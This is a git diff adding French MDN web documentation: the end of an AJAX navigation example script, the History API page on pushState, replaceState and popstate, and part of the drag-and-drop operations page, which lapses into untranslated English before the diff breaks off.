+            402: "Payment Required",
+            403: "Forbidden",
+            404: "Not Found",
+            405: "Method Not Allowed",
+            406: "Not Acceptable",
+            407: "Proxy Authentication Required",
+            408: "Request Timeout",
+            409: "Conflict",
+            410: "Gone",
+            411: "Length Required",
+            412: "Precondition Failed",
+            413: "Request Entity Too Large",
+            414: "Request-URI Too Long",
+            415: "Unsupported Media Type",
+            416: "Requested Range Not Satisfiable",
+            417: "Expectation Failed",
+            422: "Unprocessable Entity",
+            423: "Locked",
+            424: "Failed Dependency",
+            425: "Unassigned",
+            426: "Upgrade Required",
+            427: "Unassigned",
+            428: "Precondition Required",
+            429: "Too Many Requests",
+            430: "Unassigned",
+            431: "Request Header Fields Too Large",
+            500: "Internal Server Error",
+            501: "Not Implemented",
+            502: "Bad Gateway",
+            503: "Service Unavailable",
+            504: "Gateway Timeout",
+            505: "HTTP Version Not Supported",
+            506: "Variant Also Negotiates (Experimental)",
+            507: "Insufficient Storage",
+            508: "Loop Detected",
+            509: "Unassigned",
+            510: "Not Extended",
+            511: "Network Authentication Required"
+        };
+
+    var
+
+        oReq, bIsLoading = false, bUpdateURL = false;
+
+    oLoadingBox.id = "ajax-loader";
+    oCover.onclick = abortReq;
+    oLoadingImg.src = "data:image/gif;base64,R0lGODlhEAAQAPIAAP///wAAAMLCwkJCQgAAAGJiYoKCgpKSkiH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAEAAQAAADMwi63P4wyklrE2MIOggZnAdOmGYJRbExwroUmcG2LmDEwnHQLVsYOd2mBzkYDAdKa+dIAAAh+QQJCgAAACwAAAAAEAAQAAADNAi63P5OjCEgG4QMu7DmikRxQlFUYDEZIGBMRVsaqHwctXXf7WEYB4Ag1xjihkMZsiUkKhIAIfkECQoAAAAsAAAAABAAEAAAAzYIujIjK8pByJDMlFYvBoVjHA70GU7xSUJhmKtwHPAKzLO9HMaoKwJZ7Rf8AYPDDzKpZBqfvwQAIfkECQoAAAAsAAAAABAAEAAAAzMIumIlK8oyhpHsnFZfhYumCYUhDAQxRIdhHBGqRoKw0R8DYlJd8z0fMDgsGo/IpHI5TAAAIfkECQoAAAAsAAAAABAAEAAAAzIIunInK0rnZBTwGPNMgQwmdsNgXGJUlIWEuR5oWUIpz8pAEAMe6TwfwyYsGo/IpFKSAAAh+QQJCgAAACwAAAAAEAAQAAADMwi6IMKQORfjdOe82p4wGccc4CEuQradylesojEMBgsUc2G7sDX3lQGBMLAJibufbSlKAAAh+QQJCgAAACwAAAAAEAAQAAADMgi63P7wCRHZnFVdmgHu2nFwlWCI3WGc3TSWhUFGxTAUkGCbtgENBMJAEJsxgMLWzpEAACH5BAkKAAAALAAAAAAQABAAAAMyCLrc/jDKSatlQtScKdceCAjDII7HcQ4EMTCpyrCuUBjCYRgHVtqlAiB1YhiCnlsRkAAAOwAAAAAAAAAAAA==";
+    oCover.appendChild(oLoadingImg);
+    oLoadingBox.appendChild(oCover);
+
+    onpopstate = function (oEvent) {
+        bUpdateURL = false;
+        oPageInfo.title = oEvent.state.title;
+        oPageInfo.url = oEvent.state.url;
+        getPage();
+    };
+
+    window.addEventListener ? addEventListener("load", init, false) : window.attachEvent ? attachEvent("onload", init) : (onload = init);
+
+    // Public methods
+
+    this.open = requestPage;
+    this.stop = abortReq;
+    this.rebuildLinks = init;
+
+})();
+
+
+
+ Note: const (instruction de constante) ne fait pas partie de ECMAScript 5. Il est supporté dans Firefox et Chrome (V8) et partiellement supporté dans Opera 9+ et Safari. Il n'est pas supporté dans Internet Explorer 6-9, ou dans la version de prévisualisation de Internet Explorer 10. const sera défini par ECMAScript 6, mais avec une sémantique différente. Proches des variables déclarées avec l'instruction let, les constantes déclarées avec const seront limitées en portée. Nous ne l'avons utilisé que pour des raisons pédagogiques, si vous souhaitez une compatibilité maximale de ce code, merci de remplacer les références à const par des instructions var.
+

Pour plus d'informations, voyez : Manipuler l'historique du navigateur.

+

Lire également

+
    +
  • {{ domxref("window.history") }}
    • +
  • {{ domxref("window.onpopstate") }}
    • +
diff --git a/files/fr/web/api/history_api/index.html b/files/fr/web/api/history_api/index.html new file mode 100644 index 0000000000..5e199dd521 --- /dev/null +++ b/files/fr/web/api/history_api/index.html @@ -0,0 +1,245 @@ +--- +title: Manipuler l'historique du navigateur +slug: Web/Guide/DOM/Manipuler_historique_du_navigateur +tags: + - API + - DOM + - Historique +translation_of: Web/API/History_API +--- +

L'objet DOM {{ domxref("window") }} fournit un accès à l'historique du navigateur via l'objet {{ domxref("window.history", "history") }}. Il expose un ensemble de méthodes et de propriétés qui permettent d'avancer et de reculer dans l'historique de l'utilisateur ainsi que -- à partir d'HTML5 -- manipuler le contenu de l'ensemble de l'historique.

+ +

Se déplacer dans l'historique

+ +

Avancer ou reculer dans l'historique de l'utilisateur est possible en utilisant les méthodes back(), forward() et go().

+ +

Avancer et reculer

+ +

Pour reculer dans l'historique, il vous suffit de faire :

+ +
window.history.back();
+
+ +

Cela agira exactement comme si l'utilisateur cliquait sur le bouton Retour de la barre d'outils de son navigateur.

+ +

De la même manière, il est possible d'avancer (comme si l'utilisateur cliquait sur le bouton Avancer) :

+ +
window.history.forward();
+
+ +

Se déplacer à un élément précis de l'historique

+ +

Vous pouvez utiliser la méthode go() pour charger une page spécifique de l'historique de la session, identifiée par sa position relative par rapport à la page en cours (la page courante étant, évidemment, d'index 0).

+ +

Pour reculer d'une page (l'équivalent d'un appel à back()):

+ +
window.history.go(-1);
+
+ +

Pour avancer d'une page, comme en appelant forward():

+ +
window.history.go(1);
+
+ +

De la même manière, vous pouvez avancer de 2 pages en passant la valeur 2, et ainsi de suite.

+ +

Vous pouvez déterminer le nombre de pages de l'historique en accédant à la valeur de la propriété length (longeur) :

+ +
var numberOfEntries = window.history.length;
+
+ +
Note: Internet Explorer supporte le passage d'une URL sous forme de chaîne de caractères comme paramètre de la méthode go(); ce comportement est non standard et non supporté par Gecko.
+ +

Ajouter et modifier des entrées de l'historique

+ +

{{ gecko_minversion_header("2") }}

+ +

HTML5 a introduit les méthodes history.pushState() et history.replaceState(), qui permettent, respectivement, d'ajouter et de modifier des entrées de l'historique. Ces méthodes fonctionnent conjointement avec l'événement onpopstate.

+ +

L'utilisation de history.pushState() change le référent créé habituellement dans l'en-tête HTTP pour les objets XMLHttpRequest, chaque fois que son état a été changé. Le référent sera l'URL de la page dont l'objet window est this au moment de la création de l'objet XMLHttpRequest.

+ +

Exemple de la méthode pushState()

+ +

Supposons que http://mozilla.org/foo.html exécute la séquence JavaScript suivante :

+ +
var stateObj = { foo: "bar" };
+history.pushState(stateObj, "page 2", "bar.html");
+
+ +

Cela va provoquer l'apparition dans la barre de navigation de http://mozilla.org/bar.html, mais ne provoquera pas le chargement effectif de bar.html ni même le test d'existence de bar.html.

+ +

Supposons à présent que l'utilisateur accède à la page http://google.com, puis clique sur l'icône "Recul". La barre de navigation va alors afficher http://mozilla.org/bar.html, et si vous lisez l'history.state, vous obtiendrez le stateObj.  L'événement popstate ne sera pas lancé car la page a été rechargée. La page elle-même ressemblera à bar.html.

+ +

Si on clique à nouveau sur Recul, l'URL de la barre de navigation va se changer en http://mozilla.org/foo.html et le document va recevoir un autre événement popstate, qui comportera, cette fois, un état null. Dans ce cas aussi, revenir en arrière ne modifie pas le contenu du document par rapport à ce qu'il était à l'étape précédente, cela bien qu'il ait pu être mis à jour manuellement sur réception de l'événement popstate.

+ +

La méthode pushState()

+ +

La méthode pushState() utilise trois paramètres : un objet état, un titre (qui est pour l'instant ignoré) et, éventuellement, une URL. Examinons chacun de ces paramètres en détail :

+ +
    +
  • +

    state object (objet état) — L'objet état est un objet JavaScript qui est associé à une nouvelle entrée de l'historique par pushState(). Chaque fois qu'un utilisateur ouvre une nouvelle page, un événement popstate est émis et la propriété state de l'événement contient une copie de l'objet état de ce nouvel élément de l'historique.
    + L'objet état peut être tout ce qui peut être sous forme de liste. Puisque Firefox sauvegarde les objets état sur le disque de l'utilisateur de façon à ce qu'ils puissent être rétablis après redémarrage du navigateur, le codage de l'objet état est limité à une taille de 640k octets. Si vous donnez à pushState() un objet état dont la représentation a une taille plus importante, la méthode génèrera une exception. Si vous avez un besoin d'espace plus important, il est conseillé d'utiliser sessionStorage et/ou localStorage.

    +
    • +
  • +

    title (titre) — Firefox, pour l'instant, ignore ce paramètre, bien qu'il puisse être utilisé plus tard. Afin de prévenir les changements futurs de cette méthode, il serait prudent de fournir ici, en paramètre, une chaîne vide. Vous pourriez aussi donner un titre court à l'état vers lequel vous vous dirigez.

    +
    • +
  • +

    URL — L'URL de la nouvelle entrée de l'historique est donnée par ce paramètre. Il convient de préciser que le navigateur n'essaiera pas de charger la page pointée par cette URL après un appel à pushState(), mais il se peut qu'il tente de le faire plus tard, par exemple, lorsque l'utilisateur relancera son navigateur. Il n'est pas nécessaire que la nouvelle URL soit absolue ; si elle est relative, ce sera par rapport à l'URL courante. La nouvelle URL doit avoir la même origine (domaine) que l'URL courante ; dans le cas contraire, pushState() génèrera une exception. Ce paramètre est optionnel ; s'il n'est pas spécifié, sa valeur par défaut est l'URL de la page courante.

    +
    • +
+ +
Note : Dans Gecko 2.0 {{ geckoRelease("2.0") }} jusqu'à Gecko 5.0 {{ geckoRelease("5.0") }}, l'objet fourni est sérialisé en utilisant JSON. À partir de  Gecko 6.0 {{ geckoRelease("6.0") }}, l'objet est sérialisé à l'aide de "structured clone algorithm" qui autorise, en particulier, la sérialisation d'arbres récursifs cycliques. Cela permet de passer de façon sûre une plus grande diversité d'objets.
+ +

On peut assimiler l'appel à pushState() à l'affectation window.location = "#foo", en cela que l'un comme l'autre auront pour effet de créer et déclencher une autre entrée de l'historique associée au document courant. Mais pushState() a quelques avantages :

+ +
    +
  • La nouvelle URL peut être quelconque pourvu qu'elle ait la même origine que l'URL courante. En revanche, affecter window.location vous maintient  au même {{ domxref("document") }} seulement si vous modifiez uniquement le hash.
    • +
  • Vous n'êtes pas contraint de modifier l'URL si vous ne le voulez pas. Par contre, affecter window.location = "#foo"; crée une nouvelle entrée de l'historique seulement si le hash courant n'est pas #foo.
    • +
  • Vous pouvez associer des données quelconques avec votre nouvelle entrée de l'historique. Avec l'approche basée sur le hash, il est nécessaire de coder toute donnée pertinente en une chaîne courte.
    • +
+ +

Notez que pushState() n'entraîne jamais le déclenchement d'un événement hashchange, même si la nouvelle URL diffère de l'ancienne seulement par son hash.

+ +

Dans un document XUL elle crée l'élément XUL spécifié.

+ +

Dans d'autres documents, elle crée un élément avec l'URI d'espace de nom null. 

+ +

La méthode replaceState()

+ +

history.replaceState() fonctionne exactement comme history.pushState() hormis le fait que replaceState() modifie l'entrée courante de l'historique au lieu d'en créer une nouvelle. À noter que ceci n'empêche pas la création d'une nouvelle entrée dans l'historique global du navigateur.

+ +

replaceState() est particulièrement utile si vous désirez mettre à jour l'objet état ou l'URL de l'entrée courante de l'historique en réponse à une action de l'utilisateur.

+ +
Note : Dans Gecko 2.0 {{ geckoRelease("2.0") }} jusqu'à Gecko 5.0 {{ geckoRelease("5.0") }}, l'objet transmis est sérialisé avec JSON. À partir de  Gecko 6.0 {{ geckoRelease("6.0") }}, l'objet est sérialisé à l'aide de "structured clone algorithm" qui autorise, en particulier, la sérialisation d'arbres récursifs cycliques. Cela permet de passer de façon sûre une plus grande diversité d'objets.
+ +

Exemple de la méthode replaceState()

+ +

Supposons que http://mozilla.org/foo.html exécute le code JavaScript suivant :

+ +
var stateObj = { foo: "bar" };
+history.pushState(stateObj, "page 2", "bar.html");
+ +

L'explication des deux lignes ci-dessus peut être trouvée dans la section "Exemple de la méthode pushState()". Supposons ensuite que http://mozilla.org/bar.html exécute le code JavaScript suivant :

+ +
history.replaceState(stateObj, "page 3", "bar2.html");
+ +

Cela entraînera l'affichage de la barre d'URL http://mozilla.org/bar2.html, mais le navigateur ne chargera pas bar2.html ou même vérifiera que bar2.html existe.

+ +

Supposons maintenant que l'utilisateur accède à http://www.microsoft.com, puis clique sur le bouton Précédent. À ce stade, la barre d'URL affichera http://mozilla.org/bar2.html. Si l'utilisateur clique à nouveau sur Retour, la barre d'URL affichera http://mozilla.org/foo.html et contournera totalement bar.html.

+ +

L'événement popstate

+ +

Un événement popstate est envoyé à la fenêtre chaque fois que l'entrée active de l'historique change. Si l'entrée de l'historique activée a été créée par un appel à replaceState, la propriété state de l'événement popstate contient une copie de l'objet état  de l'entrée de l'historique.

+ +

Voir {{ domxref("window.onpopstate") }} pour un exemple d'utilisation.

+ +

Lire l'état courant

+ +

Quand votre page est chargée, il se pourrait qu'elle ait un objet état non nul. Cela peut se produire, par exemple, si la page fixe un objet état (avec  pushState() ou replaceState()) et qu'ensuite l'utilisateur redémarre le navigateur.  Quand votre page sera rechargée, elle recevra l'événement  onload , mais pas l'événement popstate.  Néanmoins, si vous lisez la propriété history.state, vous récupèrerez l'objet état que vous auriez obtenu si un événement popstate avait été déclenché.

+ +

Vous pouvez lire l'état de l'entrée courante de l'historique sans devoir attendre un événement popstate en utilisant la propriété history.state comme ceci :

+ +
var currentState = history.state;
+
+ +

Exemples

+ +

Pour un exemple comple de site web AJAX, vous pouvez voir : Exemple de navigation en Ajax.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('HTML WHATWG', "browsers.html#history", "History")}}{{Spec2('HTML WHATWG')}}Pas de changement de {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#history", "History")}}{{Spec2('HTML5 W3C')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
replaceState, pushState5{{ CompatGeckoDesktop("2.0") }}1011.505.0
history.state18{{ CompatGeckoDesktop("2.0") }}1011.50{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
replaceState, pushState{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
history.state{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Vous pouvez utiliser History.js pour contourner les problèmes de compatibilité entre navigateurs.

+ +

Voir aussi

+ +
    +
  • {{ domxref("window.history") }}
    • +
  • {{ domxref("window.onpopstate") }}
    • +
diff --git a/files/fr/web/api/html_drag_and_drop_api/drag_operations/index.html b/files/fr/web/api/html_drag_and_drop_api/drag_operations/index.html new file mode 100644 index 0000000000..0ddaad6583 --- /dev/null +++ b/files/fr/web/api/html_drag_and_drop_api/drag_operations/index.html @@ -0,0 +1,294 @@ +--- +title: Opérations de glissement +slug: Web/API/API_HTML_Drag_and_Drop/Opérations_de_glissement +translation_of: Web/API/HTML_Drag_and_Drop_API/Drag_operations +--- +

Ce qui suit décrit les étapes qui se déroulent lors d'un Glisser Déposer.

+ +

Les opérations de glisser décrits dans ce document utilisent l'interface {{domxref("DataTransfer")}}. Ce document n'utilise pas l'interface {{domxref("DataTransferItem")}} ni l'interface {{domxref("DataTransferItemList")}}.

+ +

L'attribut draggable

+ +

Dans une page Web, certains cas nécessitent l'usage du Glisser Déposer. Il peut servir pour des sélections de texte, d'images ou de liens. Lorsqu'une image ou un lien sont glissés, l'URL de l'image ou du lien est défini comme données du glissement, et le Glisser commence. Pour d'autres éléments, il peut s'agir d'une sélection effectuée qui servira au glissement. Pour voir cet effet, sélectionnez une zone dans une page Web, puis cliquez dedans en maintenant le bouton de la souris et glissez la sélection. Un rendu translucide de la sélection apparaitra en suivant le pointeur de la souris. Il s'agit toutefois du comportement par défaut du glissement si aucun scrutateur n'a été défini pour traiter les données.

+ +

En HTML, excepté le comportement par défaut des images, des liens et des sélections, aucun autre élément ne peut être glissé. Tous les éléments XUL peuvent être glissés.

+ +

Pour rendre un autre élément HTML glissable, deux choses doivent être faites :

+ +
    +
  • Définissez l'attribut {{htmlattrxref("draggable")}} à true sur l'élément que vous voulez rendre glissable.
    • +
  • Ajoutez un scrutateur sur l'événement {{event("dragstart")}} et définissez les données du glissement dans ce scrutateur.
    • +
  • {{domxref("DataTransfer.setData","Définir la donnée de glissement")}} au sein du scrutateur ajouté précédemment.
    • +
+ +

Voici un exemple qui permet à une section de contenu d'être glissée :

+ +
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'Ce texte peut être glissé')">
+  Ce texte <strong>peut</strong> être glissé.
+</div>
+
+ +

L'attribut {{htmlattrxref("draggable")}} est défini à true, ce qui rend l'élément glissant. Si cet attribut est omis ou défini à false, l'élément ne serait pas glissant et le texte serait alors simplement sélectionné. Cet attribut peut être placé sur n'importe quel élément, y compris des images et des liens. Toutefois, pour les deux derniers, la valeur par défaut est true, donc vous n'utiliserez l'attribut {{htmlattrxref("draggable")}} que pour le définir à false pour interdire le glissement de ces éléments.

+ +

Notez que lorsqu'un élément est rendu glissable, le texte ou les autres éléments qu'il contient ne peuvent plus être sélectionné de manière classique en cliquant et déplaçant la souris. Au lieu de cela, l'utilisateur doit maintenir la touche Alt appuyée pour sélectionner le texte avec la souris, ou bien utilisez le clavier.

+ +

Pour des éléments XUL, il n'est pas nécessaire d'utiliser l'attribut {{htmlattrxref("draggable")}}, car tous les éléments XUL sont glissables.

+ +
<button label="Glisse moi" ondragstart="event.dataTransfer.setData('text/plain', 'Bouton à glisser');">
+
+ +

 

+ +

Démarrer une opération de glissement

+ +

Dans cet exemple, un scrutateur est ajouté à l'événement dragstart en utilisant l'attribut ondragstart.

+ +
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'Ce texte peut être glissé')">
+  Ce texte <strong>peut</strong> être glissé.
+</div>
+
+ +

Lorsqu'un utilisateur commence un glissement, l'événement dragstart est déclenché. Dans cet exemple, le scrutateur dragstart a été ajouté à l'élément à déplacer lui-même. Vous pouvez toutefois mettre le scrutateur sur un ancètre plus élevé car l'événement drag diffuse comme le font les autres événements. À l'intérieur de l'événement dragstart, vous devez spécifier la donnée de glissement, l'image filligrane et les effets du glissement tels que décrits ci-dessous. Cependant, seule la donnée de glissement est nécessaire ; l'image et les effets du glissement par défaut sont suffisants pour la majorité des cas.

+ +

Donnée de glissement

+ +

Tous les événements de glissement ont une propriété appelée dataTransfer utilisée pour contenir la donnée de glissement.

+ +

Lorsqu'un glissement a lieu, une donnée doit être associée au glissement pour identifier ce qui est en train de glisser. Par exemple, lors du glissement d'un texte sélectionné dans un champs de texte, la donnée associée au glissement est le texte lui-même. De même, lors du glissement d'un lien, la donnée associée est l'URL du lien.

+ +

La donnée de glissement contient deux informations : son type ou format et sa valeur. Le format est une chaîne de caractère (telle que text/plain pour un texte), et la valeur est un texte. Lorsqu'un glissement démarre, vous devez lui ajouter en fournissant un type et la donnée. Dans les scrutateurs des événements dragenter et dragover au cours d'un glissement, vous pouvez vérifier les types de données et indiquer si un dépôt est permis ou non. Par exemple, une cible de dépôt qui accepte que des liens testera les types lien text/uri-list. Pendant un évément de dépôt, un scrutateur récupèrera la donnée glissée et l'insèrera dans la zone de dépôt.

+ +

Les types MIME habituels sont text/plain ou image/jpeg, mais vous pouvez créer vos propres types. La liste des types les plus utilisés est disponible sur cette page.

+ +

Un glissement peut fournir une donnée dans différents types. Ceci permet à une donnée d'être disponible dans des types spécifiques, souvent personnalisés, toujours en fournissant un format pour les cibles ne supportant pas ces types spécifiques. Habituellement, il s'agit toujours d'une version textuelle de type text/plain. La donnée n'en sera qu'une représentation sous la forme d'un texte.

+ +

Pour définir une donnée dans un dataTransfer, utilisez la méthode setData. Elle prend deux arguments qui sont le type de la donnée et sa valeur. Par exemple :

+ +
event.dataTransfer.setData("text/plain", "Texte à glisser");
+
+ +

Dans ce cas, la valeur de la donnée est "Texte à glisser" et son format est text/plain.

+ +

Vous pouvez fournir une donnée dans de multiples formats. Il suffit d'appeler la méthode setData plusieurs fois avec chacun des formats. Vous devez l'appeler dans l'ordre du format le plus spécifique au moins spécifique.

+ +
var dt = event.dataTransfer;
+dt.setData("application/x-bookmark", bookmarkString);
+dt.setData("text/uri-list", "http://www.mozilla.org");
+dt.setData("text/plain", "http://www.mozilla.org");
+
+ +

Ici, une donnée est ajoutée avec trois types différents. Le premier type 'application/x-bookmark' est un type personnalisé. Toutes les applications ne vont pas supporter ce type, mais vous pouvez l'utiliser pour le glissement entre des zones d'une même application ou d'un même site. En fournissant la donnée avec d'autres types, vous la rendez disponible à moindre échelle pour d'autres applications. Le type 'application/x-bookmark' fournira ainsi plus de détail à l'application qu'avec les autres types qui ne seraient que de simples liens ou textes.

+ +

Notez que cet exemple, text/uri-list et text/plain contiennent la même donnée. C'est souvent le cas, mais pas forcément nécessaire.

+ +

Si vous essayez d'ajouter une donnée deux fois avec le même format, alors la nouvelle donnée remplacera l'ancienne, mais à la même position que l'ancienne dans la liste.

+ +

Vous pouvez effacer la donnée en utilisant la méthode clearData, avec un seul argument qui est le type de la donnée à effacer.

+ +
event.dataTransfer.clearData("text/uri-list");
+
+ +

L'argument de type de la méthode clearData est optionnel. S'il n'est pas précisé, la donnée associée à tous les types est effacée. Et si aucune donnée à glisser n'est ajoutée, alors l'opération de glissement ne s'effectue pas.

+ +

Définir l'image filigrane d'un glissement

+ +

Lorsqu'un glissement a lieu, une image translucide est générée à partir de l'origine du glissement (l'élément d'origine ayant déclenché l'événement), et cette image suit le déplacement de la souris. Elle est créée automatiquement donc vous n'avez pas à le faire vous même. Toutefois, vous pouvez personnaliser cette image filigrane grâce à setDragImage.

+ +
event.dataTransfer.setDragImage(image, xOffset, yOffset);
+
+ +

Trois arguments sont nécessaires. Le premier est la référence à une image. Cette référence pointera en gérénal vers un élément image, mais elle peut pointer aussi vers un canvas ou vers tous autres éléments. L'image filigrane sera simplement générée telle qu'elle ressemble à l'écran, et dessinée à sa taille d'origine. Il est également possible d'utiliser des images et des canvas qui ne sont pas dans un document, comme le montre cet exemple :

+ +
function dragWithCustomImage(event)
+{
+  var canvas = document.createElement("canvas");
+  canvas.width = canvas.height = 50;
+
+  var ctx = canvas.getContext("2d");
+  ctx.lineWidth = 4;
+  ctx.moveTo(0, 0);
+  ctx.lineTo(50, 50);
+  ctx.moveTo(0, 50);
+  ctx.lineTo(50, 0);
+  ctx.stroke();
+
+  var dt = event.dataTransfer;
+  dt.setData('text/plain', 'Data to Drag');
+  dt.setDragImage(canvas, 25, 25);
+}
+
+ +

Cette technique est utile pour dessiner des images filigranes personnalisées en utilisant l'élément canvas.

+ +

Les deuxième et troisième arguments de la méthode setDragImage sont les décalages de l'image par rapport au pointeur de la souris. Dans cet exemple, comme le canvas fait 50 pixels de large et 50 pixels de haut, nous utilisons son centre (soit 25 et 25) pour que l'image soit centrée sur le pointeur de la souris.

+ +

Effets du glissement

+ +

Lors d'un glisser/déposer, plusieur opérations se déroulent. L'opération copy indique que la donnée glissée sera copiée de son emplacement d'origine au lieu de dépot. L'opération move indique que la donnée glissée sera déplacée, et l'opération link indique une forme de relation ou de connexion entre l'origine et le lieu de dépot.

+ +

Vous pouvez spécifier laquelle de ces trois opérations sera autorisée au niveau de l'origine du glissement, en définissant la propriété effectAllowed dans un scrutateur d'événement dragstart.

+ +
event.dataTransfer.effectAllowed = "copy";
+
+ +

Dans cet exemple, seule une copie n'est autorisée. Vous pouvez combiner les valeurs de plusieurs façons :

+ +
+
none
+
Aucune opération permise
+
copy
+
Copie uniquement
+
move
+
Déplacement uniquement
+
link
+
Lien uniquement
+
copyMove
+
Copie ou déplacement uniquement
+
copyLink
+
Copie ou lien uniquement
+
linkMove
+
Lien ou déplacement uniquement
+
all
+
Copie, déplacement ou lien
+
+ +

Notez que ces valeurs doivent être écrites exactement comme cela. Si vous ne modifiez pas la propriété effectAllowed, alors tous les opérations seront permises comme pour la valeur 'all'. L'usage de cette propriété intervient seulement si vous souhaitez exclure des types spécifiques.

+ +

Pendant une opération de glissement, un scrutateur pour les événements dragenter ou dragover peut tester la propriété effectAllowed afin de voir quelles opérations sont autorisées. La propriété associée dropEffect doit être définie dans un de ces événements pour spécifier ce que chaque opération aura à faire. Les valeurs valides pour dropEffect sont none, copy, move ou link. Il n'y a pas de combinaison pour cette propriété.

+ +

Pour les événements dragenter et dragover, la propriété dropEffect est initialisée avec l'effet attendu par l'utilisateur. L'utilisateur peut modifier l'effet désiré en appuyant sur une touche de modification. Bien que les touches varient selon la plateforme, habituellement, il s'agit d'une combinaison des touches Maj et Control qui permettent de copier, déplacer et créer un raccourci. Le pointeur de la souris change de forme pour montrer l'opération souhaitée, par exemple un signe + à côté de la souris pour une copie.

+ +

Vous pouvez modifier les propriétés effectAllowed et dropEffect pendant les événements dragenter ou dragover, si par exemple une cible ne supporte qu'un seul type d'opération. La modification de la propriété effectAllowed vous permet de spécifier les opérations autorisées sur une cible donnée. Par exemple, mettre une propriété copyMove permet des opération de copie ou de déplacement, mais pas de créer un lien raccourci.

+ +

Vous pouvez modifier la propriété dropEffect en remplaçant l'effet de l'utilisateur, et forcer à obtenir une opération spécifique. Notez que cet effet doit être un de ceux listé dans la propriété effectAllowed, sinon une valeur alternative sera attribuée.

+ +
event.dataTransfer.effectAllowed = "copyMove";
+event.dataTransfer.dropEffect = "copy";
+
+ +

Dans cet exemple, la copie est l'effet proposé qui est inclus dans la liste des effets autorisés.

+ +

Vous pouvez utiliser la valeur none pour interdir tout dépôt à cet emplacement.

+ +

Spécifier les cibles de dépôt

+ +

Un scrutateur pour les événements dragenter et dragover est utilisé pour indiquer des cibles de dépôt valides, c'est-à-dire là où les items pourront être déposés. La plupart des zones d'une page Web ne sont pas des endroits valides pour déposer des données. Ainsi, le comportement par défaut pour ces événements ne permet pas un dépôt.

+ +

Si vous voulez autoriser un dépôt, vous devez empêcher le comportement par défaut en annulant l'événement. Il suffit soit de retourner false à partir d'un scrutateur d'événement, ou par l'appel de la méthode événementielle event.preventDefault. Cette dernière solution est plus faisable avec une fonction définie dans un script séparé.

+ +
<div ondragover="return false">
+<div ondragover="event.preventDefault()">
+
+ +

L'appel de la méthode event.preventDefault pendant les événements dragenter et dragover indiquera qu'un dépôt est permis à cet endroit. Toutefois, il est fréquent d'appeler la méthode event.preventDefault seulement dans certaines situations, par exemple si un lien est en train d'être glissé. Pour cela, appelez une fonction qui testera une condition et annulera l'événement seulement si cette condition est rencontrée. Dans le cas contraire, il suffit de ne pas annuler l'événement et aucun dépôt ne se réalisera si l'utilisateur lache le bouton de la souris.

+ +

Il est plus fréquent d'accepter ou non un dépôt en fonction du type de la donnée glissée. Par exemple, permettre les images ou les liens, ou bien les deux. Pour cela, testez les types de l'objet dataTransfer. Les types sont sous la forme d'une liste de chaînes de caractères ajoutées au début du glissement, du plus signifiant au moins signifiant.

+ +
function doDragOver(event)
+{
+  var isLink = event.dataTransfer.types.contains("text/uri-list");
+  if (isLink)
+    event.preventDefault();
+}
+
+ +

Dans cet exemple, la méthode contains est utilisée pour vérifier si le type text/uri-list est présent dans la liste des types. S'il l'est, l'événement est annulé, ce qui autorise un dépôt. Si la donnée ne contient pas un lien, l'événement ne sera pas annulé et le dépôt ne sera pas autorisé à cet endroit.

+ +

Vous pouvez également définir une propriété effectAllowed ou dropEffect ou les deux à la fois si vous souhaitez être plus précis sur le type d'opération autorisé. Naturellement, le changement de propriété n'aura aucun effet si vous n'avez pas annulé l'événement.

+ +

Retour d'information du dépôt

+ +

Il y a de nombreuses manières d'indiquer à l'utilisateur que le dépot est autorisé dans une certaine zone. Le pointeur de la souris va être mis à jour en fonction de la valeur de la propriété dropEffect. L'apparence exacte dépend de la plateforme de l'utilisateur, généralement il s'agit d'un icone représentant un signe plus qui apparaît pour une copie par exemple, et un 'impossible de déposer ici' peut apparaître quand le dépôt n'est pas autorisé. Cette information contextuelle est suffisante dans la plupart des cas.

+ +

De plus, vous pouvez aussi mettre à jour l'interface utilisateur en surlignant au besoin. Pour un simple surlignage, vous pouvez utiliser la pseudo-classe -moz-drag-oversur la cible du dépôt.

+ +
.droparea:-moz-drag-over {
+  border: 1px solid black;
+}
+
+ +

Dans cet example, l'élement comportant la classe droparea va recevoir un bord noir de un pixel tant que la cible sera valide, ce qui est le cas, si la méthode event.preventDefault est appelé durant l'évenement dragenter. Il est à noter que vous devez annuler l'évenement dragenter de cette pseudo-classe tant que l'état n'est pas verifié par l'évenement dragover.

+ +

For more complex visual effects, you can also perform other operations during the dragenter event, for example, by inserting an element at the location where the drop will occur. For example, this might be an insertion marker or an element that represents the dragged element in its new location. To do this, you could create an image or separator element for example, and simply insert it into the document during the dragenter event.

+ +

The dragover event will fire at the element the mouse is pointing at. Naturally, you may need to move the insertion marker around a dragover event as well. You can use the event's clientX and clientY properties as with other mouse events to determine the location of the mouse pointer.

+ +

Finally, the dragleave event will fire at an element when the drag leaves the element. This is the time when you should remove any insertion markers or highlighting. You do not need to cancel this event. Any highlighting or other visual effects specified using the -moz-drag-over pseudoclass will be removed automatically. The dragleave event will always fire, even if the drag is cancelled, so you can always ensure that any insertion point cleanup can be done during this event.

+ +

Performing a Drop

+ +

When the user releases the mouse, the drag and drop operation ends. If the mouse was released over an element that is a valid drop target, that is, one that cancelled the last dragenter or dragover event, then the drop will be successful, and a drop event will fire at the target. Otherwise, the drag operation is cancelled and no drop event is fired.

+ +

During the drop event, you should retrieve that data that was dropped from the event and insert it at the drop location. You can use the dropEffect property to determine which drag operation was desired.

+ +

As with all drag related events, the event's dataTransfer property will hold the data that is being dragged. The getData method may be used to retrieve the data again.

+ +
function onDrop(event)
+{
